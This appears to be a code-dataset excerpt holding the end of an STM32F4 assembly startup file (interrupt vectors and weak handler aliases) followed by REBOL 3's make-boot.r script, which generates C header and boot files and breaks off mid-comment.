.word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */
.word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */
.word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */
.word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */
.word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */
.word TIM8_CC_IRQHandler /* TIM8 Capture Compare */
.word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */
.word FSMC_IRQHandler /* FSMC */
.word SDIO_IRQHandler /* SDIO */
.word TIM5_IRQHandler /* TIM5 */
.word SPI3_IRQHandler /* SPI3 */
.word UART4_IRQHandler /* UART4 */
.word UART5_IRQHandler /* UART5 */
.word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */
.word TIM7_IRQHandler /* TIM7 */
.word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */
.word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */
.word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */
.word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */
.word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */
.word ETH_IRQHandler /* Ethernet */
.word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */
.word CAN2_TX_IRQHandler /* CAN2 TX */
.word CAN2_RX0_IRQHandler /* CAN2 RX0 */
.word CAN2_RX1_IRQHandler /* CAN2 RX1 */
.word CAN2_SCE_IRQHandler /* CAN2 SCE */
.word OTG_FS_IRQHandler /* USB OTG FS */
.word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */
.word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */
.word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */
.word USART6_IRQHandler /* USART6 */
.word I2C3_EV_IRQHandler /* I2C3 event */
.word I2C3_ER_IRQHandler /* I2C3 error */
.word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */
.word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */
.word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */
.word OTG_HS_IRQHandler /* USB OTG HS */
.word DCMI_IRQHandler /* DCMI */
.word 0 /* CRYP crypto */
.word HASH_RNG_IRQHandler /* Hash and Rng */
.word FPU_IRQHandler /* FPU */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMP_STAMP_IRQHandler
.thumb_set TAMP_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Stream0_IRQHandler
.thumb_set DMA1_Stream0_IRQHandler,Default_Handler
.weak DMA1_Stream1_IRQHandler
.thumb_set DMA1_Stream1_IRQHandler,Default_Handler
.weak DMA1_Stream2_IRQHandler
.thumb_set DMA1_Stream2_IRQHandler,Default_Handler
.weak DMA1_Stream3_IRQHandler
.thumb_set DMA1_Stream3_IRQHandler,Default_Handler
.weak DMA1_Stream4_IRQHandler
.thumb_set DMA1_Stream4_IRQHandler,Default_Handler
.weak DMA1_Stream5_IRQHandler
.thumb_set DMA1_Stream5_IRQHandler,Default_Handler
.weak DMA1_Stream6_IRQHandler
.thumb_set DMA1_Stream6_IRQHandler,Default_Handler
.weak ADC_IRQHandler
.thumb_set ADC_IRQHandler,Default_Handler
.weak CAN1_TX_IRQHandler
.thumb_set CAN1_TX_IRQHandler,Default_Handler
.weak CAN1_RX0_IRQHandler
.thumb_set CAN1_RX0_IRQHandler,Default_Handler
.weak CAN1_RX1_IRQHandler
.thumb_set CAN1_RX1_IRQHandler,Default_Handler
.weak CAN1_SCE_IRQHandler
.thumb_set CAN1_SCE_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak TIM1_BRK_TIM9_IRQHandler
.thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler
.weak TIM1_UP_TIM10_IRQHandler
.thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler
.weak TIM1_TRG_COM_TIM11_IRQHandler
.thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler
.weak TIM1_CC_IRQHandler
.thumb_set TIM1_CC_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak OTG_FS_WKUP_IRQHandler
.thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler
.weak TIM8_BRK_TIM12_IRQHandler
.thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler
.weak TIM8_UP_TIM13_IRQHandler
.thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler
.weak TIM8_TRG_COM_TIM14_IRQHandler
.thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler
.weak TIM8_CC_IRQHandler
.thumb_set TIM8_CC_IRQHandler,Default_Handler
.weak DMA1_Stream7_IRQHandler
.thumb_set DMA1_Stream7_IRQHandler,Default_Handler
.weak FSMC_IRQHandler
.thumb_set FSMC_IRQHandler,Default_Handler
.weak SDIO_IRQHandler
.thumb_set SDIO_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak TIM6_DAC_IRQHandler
.thumb_set TIM6_DAC_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak DMA2_Stream0_IRQHandler
.thumb_set DMA2_Stream0_IRQHandler,Default_Handler
.weak DMA2_Stream1_IRQHandler
.thumb_set DMA2_Stream1_IRQHandler,Default_Handler
.weak DMA2_Stream2_IRQHandler
.thumb_set DMA2_Stream2_IRQHandler,Default_Handler
.weak DMA2_Stream3_IRQHandler
.thumb_set DMA2_Stream3_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak ETH_IRQHandler
.thumb_set ETH_IRQHandler,Default_Handler
.weak ETH_WKUP_IRQHandler
.thumb_set ETH_WKUP_IRQHandler,Default_Handler
.weak CAN2_TX_IRQHandler
.thumb_set CAN2_TX_IRQHandler,Default_Handler
.weak CAN2_RX0_IRQHandler
.thumb_set CAN2_RX0_IRQHandler,Default_Handler
.weak CAN2_RX1_IRQHandler
.thumb_set CAN2_RX1_IRQHandler,Default_Handler
.weak CAN2_SCE_IRQHandler
.thumb_set CAN2_SCE_IRQHandler,Default_Handler
.weak OTG_FS_IRQHandler
.thumb_set OTG_FS_IRQHandler,Default_Handler
.weak DMA2_Stream5_IRQHandler
.thumb_set DMA2_Stream5_IRQHandler,Default_Handler
.weak DMA2_Stream6_IRQHandler
.thumb_set DMA2_Stream6_IRQHandler,Default_Handler
.weak DMA2_Stream7_IRQHandler
.thumb_set DMA2_Stream7_IRQHandler,Default_Handler
.weak USART6_IRQHandler
.thumb_set USART6_IRQHandler,Default_Handler
.weak I2C3_EV_IRQHandler
.thumb_set I2C3_EV_IRQHandler,Default_Handler
.weak I2C3_ER_IRQHandler
.thumb_set I2C3_ER_IRQHandler,Default_Handler
.weak OTG_HS_EP1_OUT_IRQHandler
.thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler
.weak OTG_HS_EP1_IN_IRQHandler
.thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler
.weak OTG_HS_WKUP_IRQHandler
.thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler
.weak OTG_HS_IRQHandler
.thumb_set OTG_HS_IRQHandler,Default_Handler
.weak DCMI_IRQHandler
.thumb_set DCMI_IRQHandler,Default_Handler
.weak HASH_RNG_IRQHandler
.thumb_set HASH_RNG_IRQHandler,Default_Handler
.weak FPU_IRQHandler
.thumb_set FPU_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
{
"language": "Assembly"
}
|
REBOL [
System: "REBOL [R3] Language Interpreter and Run-time Environment"
Title: "Make primary boot files"
Rights: {
Copyright 2012 REBOL Technologies
REBOL is a trademark of REBOL Technologies
}
License: {
Licensed under the Apache License, Version 2.0
See: http://www.apache.org/licenses/LICENSE-2.0
}
Author: "Carl Sassenrath"
Version: 2.100.0
Needs: 2.100.100
Purpose: {
A lot of the REBOL system is built by REBOL, and this program
does most of the serious work. It generates most of the C include
files required to compile REBOL.
}
]
print "--- Make Boot : System Embedded Script ---"
do %form-header.r
; Set platform TARGET
do %systems.r
target: config-system/define ; default
; Include graphics for these systems:
graphics-targets: [
TO_WIN32
]
has-graphics: false ;not not find graphics-targets target
opts: system/options/args
if all [block? opts opts/1 = ">"] [opts: none] ; cw editor
if block? opts [
if find opts "no-gfx" [
has-graphics: false
opts: next opts
]
if not tail? opts [
opts: load first opts
unless tuple? opts [print "Invalid version arg." wait 2 quit]
target: config-system/platform opts
]
]
write-if: func [file data] [
if data <> attempt [read file][
print ["UPDATE:" file]
write file data
]
]
;-- SETUP --------------------------------------------------------------
change-dir %../boot/
;dir: %../core/temp/ ; temporary definition
inc: %../include/
src: %../core/
version: load %version.r
either tuple? opts [
version/4: opts/2
version/5: opts/3
][
version/4: system/version/4
version/5: system/version/5
]
;-- Title string put into boot.h file checksum:
Title:
{REBOL
Copyright 2012 REBOL Technologies
REBOL is a trademark of REBOL Technologies
Licensed under the Apache License, Version 2.0
}
sections: [
boot-types
boot-words
boot-root
boot-task
boot-strings
boot-booters
boot-actions
boot-natives
boot-ops
boot-typespecs
boot-errors
boot-sysobj
boot-base
boot-sys
boot-mezz
boot-protocols
; boot-script
]
include-protocols: false ; include protocols in build
;-- Error handler:
error: func [msg arg] [print ["*** Make-boot error:" msg arg] halt]
;-- Args passed: platform, product
if none? args: system/options/args [error "No platform specified." ""]
if args/1 = ">" [args: ["Win32" "VIEW-PRO"]] ; for debugging only
product: to-word any [args/2 "core"]
platform-data: context [type: 'windows]
build: context [features: [help-strings]]
;-- Fetch platform specifications:
;init-build-objects/platform platform
;platform-data: platforms/:platform
;build: platform-data/builds/:product
;-- UTILITIES ----------------------------------------------------------
up-word: func [w] [
w: uppercase form w
foreach [f t] [
#"-" #"_"
][replace/all w f t]
w
]
;-- Emit Function
out: make string! 100000
emit: func [data] [repend out data]
to-c-name: func [word] [
word: form word
foreach [f t] [
#"-" #"_"
#"." #"_"
#"?" #"q"
#"!" #"x"
#"~" ""
#"*" "_p"
#"+" "_add"
#"|" "or_bar"
][replace/all word f t]
word
]
emit-enum: func [word] [emit [tab to-c-name word "," newline]]
emit-line: func [prefix word cmt /var /define /code /decl /up1 /local str][
str: to-c-name word
if word = 0 [prefix: ""]
if not any [code decl] [
either var [uppercase/part str 1] [uppercase str]
]
if up1 [uppercase/part str 1]
str: any [
if define [rejoin [prefix str]]
if code [rejoin [" " prefix str cmt]]
if decl [rejoin [prefix str cmt]]
rejoin [" " prefix str ","]
]
if any [code decl] [cmt: none]
if cmt [
len: 31 - length? str
loop to-integer len / 4 [append str tab]
any [
if define [repend str cmt]
if cmt [repend str ["// " cmt]]
]
]
append str newline
append out str
]
emit-head: func [title [string!] file [file!]] [
clear out
emit form-header/gen title file %make-boot.r
]
emit-end: func [/easy] [
if not easy [remove find/last out #","]
append out {^};^/}
]
binary-to-c: either system/version/4 = 3 [
; Windows format:
func [comp-data /local out] [
out: make string! 4 * (length? comp-data)
forall comp-data [
out: insert out reduce [to-integer first comp-data ", "]
if zero? ((index? comp-data) // 10) [out: insert out "^/^-"]
]
; remove/part out either (pick out -1) = #" " [-2][-4]
head out
]
][
; Other formats (Linux, OpenBSD, etc.):
func [comp-data /local out data] [
out: make string! 4 * (length? comp-data)
forall comp-data [
data: copy/part comp-data 16
comp-data: skip comp-data 15
data: enbase/base data 16
forall data [
insert data "\x"
data: skip data 3
]
data: tail data
insert data {"^/}
append out {"}
append out head data
]
head out
]
]
remove-tests: func [d] [
while [d: find d #test][remove/part d 2]
]
;----------------------------------------------------------------------------
;
; Evaltypes.h - Evaluation Dispatch Maps
;
;----------------------------------------------------------------------------
boot-types: load %types.r
type-record: [type evalclass typeclass moldtype formtype haspath maker typesets]
emit-head "Evaluation Maps" %evaltypes.h
emit {
/***********************************************************************
**
*/ const REBINT Eval_Type_Map[REB_MAX] =
/*
** Specifies the evaluation method used for each datatype.
**
***********************************************************************/
^{
}
foreach :type-record boot-types [
emit-line "ET_" evalclass type
]
emit-end
emit {
/***********************************************************************
**
*/ const REBDOF Func_Dispatch[] =
/*
** The function evaluation dispatchers.
**
***********************************************************************/
^{
}
foreach :type-record boot-types [
if find [function operator] evalclass [
emit-line/var "Do_" type none
]
]
emit-end
emit {
/***********************************************************************
**
*/ const REBACT Value_Dispatch[REB_MAX] =
/*
** The ACTION dispatch function for each datatype.
**
***********************************************************************/
^{
}
foreach :type-record boot-types [
emit-line/var "T_" typeclass type
]
emit-end
emit {
/***********************************************************************
**
*/ const REBPEF Path_Dispatch[REB_MAX] =
/*
** The path evaluator function for each datatype.
**
***********************************************************************/
^{
}
foreach :type-record boot-types [
emit-line/var "PD_" switch/default haspath [
* [typeclass]
- [0]
][haspath] type
]
emit-end
write inc/tmp-evaltypes.h out
;----------------------------------------------------------------------------
;
; Maketypes.h - Dispatchers for Make (used by construct)
;
;----------------------------------------------------------------------------
emit-head "Datatype Makers" %maketypes.h
emit newline
types-used: []
foreach :type-record boot-types [
if all [
maker = '*
word? typeclass
not find types-used typeclass
][
emit-line/up1/decl "extern REBFLG MT_" typeclass "(REBVAL *, REBVAL *, REBCNT);"
append types-used typeclass
]
]
emit {
/***********************************************************************
**
*/ const MAKE_FUNC Make_Dispatch[REB_MAX] =
/*
** Specifies the make method used for each datatype.
**
***********************************************************************/
^{
}
foreach :type-record boot-types [
either maker = '* [
emit-line/var "MT_" typeclass type
][
emit-line "" "0" type
]
]
emit-end
write inc/tmp-maketypes.h out
;----------------------------------------------------------------------------
;
; Comptypes.h - compare functions
;
;----------------------------------------------------------------------------
emit-head "Datatype Comparison Functions" %comptypes.h
emit newline
types-used: []
foreach :type-record boot-types [
if all [
word? typeclass
not find types-used typeclass
][
emit-line/up1/decl "extern REBINT CT_" typeclass "(REBVAL *, REBVAL *, REBINT);"
append types-used typeclass
]
]
emit {
/***********************************************************************
**
*/ const REBCTF Compare_Types[REB_MAX] =
/*
** Type comparision functions.
**
***********************************************************************/
^{
}
foreach :type-record boot-types [
emit-line/var "CT_" typeclass type
]
emit-end
write inc/tmp-comptypes.h out
;----------------------------------------------------------------------------
;
; Moldtypes.h - Dispatchers for Mold and Form
;
;----------------------------------------------------------------------------
;emit-head "Mold Dispatchers"
;
;emit {
;/***********************************************************************
;**
;*/ const MOLD_FUNC Mold_Dispatch[REB_MAX] =
;/*
;** The MOLD dispatch function for each datatype.
;**
;***********************************************************************/
;^{
;}
;
;foreach :type-record boot-types [
; f: "Mold_"
; switch/default moldtype [
; * [t: typeclass]
; + [t: type]
; - [t: 0]
; ][t: uppercase/part form moldtype 1]
; emit [tab "case " uppercase join "REB_" type ":" tab "\\" t]
; emit newline
; ;emit-line/var f t type
;]
;emit-end
;
;emit {
;/***********************************************************************
;**
;*/ const MOLD_FUNC Form_Dispatch[REB_MAX] =
;/*
;** The FORM dispatch function for each datatype.
;**
;***********************************************************************/
;^{
;}
;foreach :type-record boot-types [
; f: "Mold_"
; switch/default formtype [
; * [t: typeclass]
; f* [t: typeclass f: "Form_"]
; + [t: type]
; f+ [t: type f: "Form_"]
; - [t: 0]
; ][t: uppercase/part form moldtype 1]
; emit [tab "case " uppercase join "REB_" type ":" tab "\\" t]
; emit newline
; ;emit-line/var f t type
;]
;emit-end
;
;write inc/tmp-moldtypes.h out
;----------------------------------------------------------------------------
;
; Bootdefs.h - Boot include file
;
;----------------------------------------------------------------------------
emit-head "Datatype Definitions" %reb-types.h
emit [
{
/***********************************************************************
**
*/ enum REBOL_Types
/*
** Internal datatype numbers. These change. Do not export.
**
***********************************************************************/
^{
}
]
datatypes: []
n: 0
foreach :type-record boot-types [
append datatypes type
emit-line "REB_" type n
n: n + 1
]
emit { REB_MAX
^};
}
emit {
/***********************************************************************
**
** REBOL Type Check Macros
**
***********************************************************************/
}
new-types: []
foreach :type-record boot-types [
append new-types to-word join type "!"
str: uppercase form type
replace/all str #"-" #"_"
def: join {#define IS_} [str "(v)"]
len: 31 - length? def
loop to-integer len / 4 [append def tab]
emit [def "(VAL_TYPE(v)==REB_" str ")" newline]
]
emit {
/***********************************************************************
**
** REBOL Typeset Defines
**
***********************************************************************/
}
typeset-sets: []
foreach :type-record boot-types [
typesets: compose [(typesets)]
foreach ts typesets [
spot: any [
select typeset-sets ts
first back insert tail typeset-sets reduce [ts copy []]
]
append spot type
]
]
remove/part typeset-sets 2 ; the - markers
foreach [ts types] typeset-sets [
emit ["#define TS_" up-word ts " ("]
foreach t types [
emit ["((REBU64)1<<REB_" up-word t ")|"]
]
append remove back tail out ")^/"
]
write-if inc/reb-types.h out
;----------------------------------------------------------------------------
;
; Extension Related Tables
;
;----------------------------------------------------------------------------
ext-types: load %types-ext.r
rxt-record: [type offset size]
; Generate type table with necessary gaps
rxt-types: []
n: 0
foreach :rxt-record ext-types [
if integer? offset [
insert/dup tail rxt-types 0 offset - n
n: offset
]
append rxt-types type
n: n + 1
]
emit-head "Extension Types (Isolators)" %ext-types.h
emit [
{
enum REBOL_Ext_Types
^{
}
]
n: 0
foreach :rxt-record ext-types [
either integer? offset [
emit-line "RXT_" rejoin [type " = " offset] n
][
emit-line "RXT_" type n
]
n: n + 1
]
emit { RXT_MAX
^};
}
write inc/ext-types.h out ; part of Host-Kit distro
emit-head "Extension Type Equates" %tmp-exttypes.h
emit {
/***********************************************************************
**
*/ const REBYTE Reb_To_RXT[REB_MAX] =
/*
***********************************************************************/
^{
}
foreach :type-record boot-types [
either find ext-types type [
emit-line "RXT_" type type
][
emit-line "" 0 type
]
]
emit-end
emit {
/***********************************************************************
**
*/ const REBYTE RXT_To_Reb[RXT_MAX] =
/*
***********************************************************************/
^{
}
n: 0
foreach type rxt-types [
either word? type [emit-line "REB_" type n][
emit-line "" 0 n
]
n: n + 1
]
emit-end
emit {
/***********************************************************************
**
*/ const REBCNT RXT_Eval_Class[RXT_MAX] =
/*
***********************************************************************/
^{
}
n: 0
foreach type rxt-types [
either all [
word? type
rec: find ext-types type
][
emit-line "RXE_" rec/3 rec/1
][
emit-line "" 0 n
]
n: n + 1
]
emit-end
emit {
#define RXT_ALLOWED_TYPES (}
foreach type next rxt-types [
if word? type [
emit replace join "((u64)" uppercase rejoin ["1<<REB_" type ") \^/"] #"-" #"_"
emit "|"
]
]
remove back tail out
emit ")^/"
write inc/tmp-exttypes.h out
;----------------------------------------------------------------------------
;
; Bootdefs.h - Boot include file
;
;----------------------------------------------------------------------------
emit-head "Boot Definitions" %bootdefs.h
emit [
{
#define REBOL_VER } version/1 {
#define REBOL_REV } version/2 {
#define REBOL_UPD } version/3 {
#define REBOL_SYS } version/4 {
#define REBOL_VAR } version/5 {
}
]
;-- Generate Lower-Level String Table ----------------------------------------
emit {
/***********************************************************************
**
** REBOL Boot Strings
**
** These are special strings required during boot and other
** operations. Putting them here hides them from exe hackers.
** These are all string offsets within a single string.
**
***********************************************************************/
}
boot-strings: load %strings.r
code: ""
n: 0
foreach str boot-strings [
either set-word? :str [
emit-line/define "#define RS_" to word! str n ;R3
][
n: n + 1
append code str
append code null
]
]
emit ["#define RS_MAX" tab n lf]
emit ["#define RS_SIZE" tab length? out lf]
boot-strings: to-binary code
;-- Generate Canonical Words (must follow datatypes above!) ------------------
emit {
/***********************************************************************
**
*/ enum REBOL_Symbols
/*
** REBOL static canonical words (symbols) used with the code.
**
***********************************************************************/
^{
SYM_NOT_USED = 0,
}
n: 1
foreach :type-record boot-types [
emit-line "SYM_" join type "_type" n
n: n + 1
]
boot-words: load %words.r
replace boot-words '*port-modes* load %modes.r
foreach word boot-words [
emit-line "SYM_" word reform [n "-" word]
n: n + 1
]
emit-end
;-- Generate Action Constants ------------------------------------------------
emit {
/***********************************************************************
**
*/ enum REBOL_Actions
/*
** REBOL datatype action numbers.
**
***********************************************************************/
^{
}
boot-actions: load %actions.r
n: 1
emit-line "A_" "type = 0" "Handled by interpreter"
foreach word boot-actions [
if set-word? :word [
emit-line "A_" to word! :word n ;R3
n: n + 1
]
]
emit [tab "A_MAX_ACTION" lf "};"]
emit {
#define IS_BINARY_ACT(a) ((a) <= A_XOR)
}
print [n "actions"]
write inc/tmp-bootdefs.h out
;----------------------------------------------------------------------------
;
; Sysobj.h - System Object Selectors
;
;----------------------------------------------------------------------------
emit-head "System Object" %sysobj.h
emit newline
at-value: func ['field] [next find boot-sysobj to-set-word field]
boot-sysobj: load %sysobj.r
change at-value version version
when: now
when: when - when/zone
when/zone: 0:00
change at-value build when
change at-value product to lit-word! product
plats: load %platforms.r
change/only at-value platform reduce [
any [pick plats version/4 * 2 - 1 "Unknown"]
any [select pick plats version/4 * 2 version/5 ""]
]
ob: context boot-sysobj
make-obj-defs: func [obj prefix depth /local f] [
uppercase prefix
emit ["enum " prefix "object {" newline]
emit-line prefix "SELF = 0" none
foreach field words-of obj [ ;R3
emit-line prefix field none
]
emit [tab uppercase join prefix "MAX^/"]
emit "};^/^/"
if depth > 1 [
foreach field words-of obj [ ;R3
f: join prefix [field #"_"]
replace/all f "-" "_"
all [
field <> 'standard
object? get in obj field
make-obj-defs obj/:field f depth - 1
]
]
]
]
make-obj-defs ob "SYS_" 1
make-obj-defs ob/catalog "CAT_" 4
make-obj-defs ob/contexts "CTX_" 4
make-obj-defs ob/standard "STD_" 4
make-obj-defs ob/state "STATE_" 4
;make-obj-defs ob/network "NET_" 4
make-obj-defs ob/ports "PORTS_" 4
make-obj-defs ob/options "OPTIONS_" 4
;make-obj-defs ob/intrinsic "INTRINSIC_" 4
make-obj-defs ob/locale "LOCALE_" 4
make-obj-defs ob/view "VIEW_" 4
write inc/tmp-sysobj.h out
;----------------------------------------------------------------------------
emit-head "Dialects" %reb-dialect.h
emit {
enum REBOL_dialect_error {
REB_DIALECT_END = 0, // End of dialect block
REB_DIALECT_MISSING, // Requested dialect is missing or not valid
REB_DIALECT_NO_CMD, // Command needed before the arguments
REB_DIALECT_BAD_SPEC, // Dialect spec is not valid
REB_DIALECT_BAD_ARG, // The argument type does not match the dialect
REB_DIALECT_EXTRA_ARG // There are more args than the command needs
};
}
make-obj-defs ob/dialects "DIALECTS_" 4
emit {#define DIALECT_LIT_CMD 0x1000
}
write inc/reb-dialect.h out
;----------------------------------------------------------------------------
;
; Event Types
;
;----------------------------------------------------------------------------
emit-head "Event Types" %reb-evtypes.h
emit newline
emit ["enum event_types {" newline]
foreach field ob/view/event-types [
emit-line "EVT_" field none
]
emit [tab "EVT_MAX^/"]
emit "};^/^/"
emit ["enum event_keys {" newline]
emit-line "EVK_" "NONE" none
foreach field ob/view/event-keys [
emit-line "EVK_" field none
]
emit [tab "EVK_MAX^/"]
emit "};^/^/"
write inc/reb-evtypes.h out
;----------------------------------------------------------------------------
;
; Error Constants
;
;----------------------------------------------------------------------------
;-- Error Structure ----------------------------------------------------------
emit-head "Error Structure and Constants" %errnums.h
emit {
#ifdef VAL_TYPE
/***********************************************************************
**
*/ typedef struct REBOL_Error_Obj
/*
***********************************************************************/
^{
}
; Generate ERROR object and append it to bootdefs.h:
emit-line/code "REBVAL " 'self ";" ;R3
foreach word words-of ob/standard/error [ ;R3
if word = 'near [word: 'nearest] ; prevents C problem
emit-line/code "REBVAL " word ";"
]
emit {^} ERROR_OBJ;
#endif
}
emit {
/***********************************************************************
**
*/ enum REBOL_Errors
/*
***********************************************************************/
^{
}
boot-errors: load %errors.r
err-list: make block! 200
errs: false
foreach [cat msgs] boot-errors [
code: second msgs
new1: true
foreach [word val] skip msgs 4 [
err: uppercase form to word! word ;R3
replace/all err "-" "_"
if find err-list err [print ["DUPLICATE Error Constant:" err] errs: true]
append err-list err
either new1 [
emit-line "RE_" reform [err "=" code] reform [code mold val]
new1: false
][
emit-line "RE_" err reform [code mold val]
]
code: code + 1
]
emit-line "RE_" join to word! cat "_max" none ;R3
emit newline
]
if errs [wait 3 quit]
emit-end
emit {
#define RE_NOTE RE_NO_LOAD
#define RE_USER RE_MESSAGE
}
write inc/tmp-errnums.h out
;-------------------------------------------------------------------------
emit-head "Port Modes" %port-modes.h
data: load %modes.r
emit {
enum port_modes ^{
}
foreach word data [
emit-enum word
]
emit-end
write inc/tmp-portmodes.h out
;----------------------------------------------------------------------------
;
; Load Boot Mezzanine Functions - Base, Sys, and Plus
;
;----------------------------------------------------------------------------
;-- Add other MEZZ functions:
mezz-files: load %../mezz/boot-files.r ; base lib, sys, mezz
;append boot-mezz+ none ?? why was this needed?
foreach section [boot-base boot-sys boot-mezz] [
set section make block! 200
foreach file first mezz-files [
append get section load join %../mezz/ file
]
remove-tests get section
mezz-files: next mezz-files
]
boot-protocols: make block! 20
foreach file first mezz-files [
m: load/all join %../mezz/ file ; not REBOL word
append/only append/only boot-protocols m/2 skip m 2
]
emit-head "Sys Context" %sysctx.h
sctx: construct boot-sys
make-obj-defs sctx "SYS_CTX_" 1
write inc/tmp-sysctx.h out
;----------------------------------------------------------------------------
;
; b-boot.c - Boot data file
;
;----------------------------------------------------------------------------
;-- Build b-boot.c output file -------------------------------------------------
emit-head "Natives and Bootstrap" %b-boot.c
emit {
#include "sys-core.h"
}
externs: make string! 2000
boot-booters: load %booters.r
boot-natives: load %natives.r
if has-graphics [append boot-natives load %graphics.r]
nats: append copy boot-booters boot-natives
n: boot-sys
;while [n: find n 'native] [
; if set-word? first back n [
; print index? n
; append nats copy/part back n 3
; ]
; n: next next n
;]
nat-count: 0
foreach val nats [
if set-word? val [
emit-line/decl "REBNATIVE(" to word! val ");" ;R3
nat-count: nat-count + 1
]
]
print [nat-count "natives"]
emit [newline {const REBFUN Native_Funcs[} nat-count {] = ^{
}]
foreach val nats [
if set-word? val [
emit-line/code "N_" to word! val "," ;R3
]
;nat-count: nat-count + 1
]
emit-end
emit newline
;-- Embedded REBOL Tests:
;where: find boot/script 'tests
;if where [
; remove where
; foreach file sort load %../tests/ [
; test: load join %../tests/ file
; if test/1 <> 'skip-test [
; where: insert where test
; ]
; ]
;]
;-- Build typespecs block (in same order as datatypes table):
boot-typespecs: make block! 100
specs: load %typespec.r
foreach type datatypes [
append/only boot-typespecs select specs type
]
;-- Create main code section (compressed):
boot-types: new-types
boot-root: load %root.r
boot-task: load %task.r
boot-ops: load %ops.r
;boot-script: load %script.r
write %boot-code.r mold reduce sections
data: mold/flat reduce sections
insert data reduce ["; Copyright (C) REBOL Technologies " now newline]
insert tail data make char! 0 ; scanner requires zero termination
comp-data: compress data: to-binary data
emit [
{
// This array contains 4 bytes encoding a 32-bit little endian value,
// followed by data which is the DEFLATE-algorithm-compressed
// representation of the textual function specs for Rebol's native
// routines. This textual representation is null-terminated.
// The leading value represents the expected length of
